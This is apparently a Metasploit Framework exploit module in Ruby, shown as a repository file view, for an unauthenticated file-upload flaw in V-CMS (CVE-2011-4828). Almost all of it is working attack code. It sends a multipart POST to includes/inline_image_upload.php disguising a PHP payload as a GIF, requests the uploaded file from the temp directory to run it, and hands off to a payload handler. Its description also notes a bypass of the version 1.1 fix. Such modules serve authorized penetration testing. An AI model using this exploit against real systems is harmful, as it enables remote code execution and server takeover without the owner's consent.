c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
124 lines
3.5 KiB
Ruby
124 lines
3.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/php_exe'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::PhpEXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "V-CMS PHP File Upload and Execute",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found on V-CMS's inline image upload feature.
|
|
The problem is due to the inline_image_upload.php file not checking the file type
|
|
before saving it on the web server. This allows any malicious user to upload a
|
|
script (such as PHP) without authentication, and then execute it with a GET request.
|
|
|
|
The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only
|
|
allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
|
|
one of those extension names, which may still be leveraged in an attack.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'AutoSec Tools', # Initial discovery
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-4828'],
|
|
['BID', '50706'],
|
|
['URL', 'http://bugs.v-cms.org/view.php?id=53'],
|
|
['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
|
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path)
|
|
uri << '/' if uri[-1,1] != '/'
|
|
res = send_request_raw({
|
|
'uri' => uri,
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res and res.body =~ /V\-CMS v1\.[0-1]/
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
base = target_uri.path
|
|
base << '/' if base[-1,1] != '/'
|
|
|
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
|
p = get_write_exec_payload(:unlink_self=>true)
|
|
|
|
post_data = "------x\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
|
|
post_data << "Content-Type: image/gif\r\n"
|
|
post_data << "\r\n"
|
|
post_data << p + "\r\n"
|
|
post_data << "------x--\r\n"
|
|
|
|
print_status("#{peer} Uploading payload: #{@payload_name}")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),
|
|
'method' => 'POST',
|
|
'ctype' => 'multipart/form-data; boundary=----x',
|
|
'data' => post_data
|
|
})
|
|
|
|
if res
|
|
print_status("#{peer} replies status: #{res.code.to_s}")
|
|
else
|
|
print_error("#{peer} No response from server. Will not continue")
|
|
return
|
|
end
|
|
|
|
print_status("#{peer} Executing payload: #{@payload_name}")
|
|
res = send_request_raw({
|
|
'uri' => "#{base}temp/#{@payload_name}",
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res and res.code == 404
|
|
print_error("#{peer} 404 - the upload probably failed")
|
|
return
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|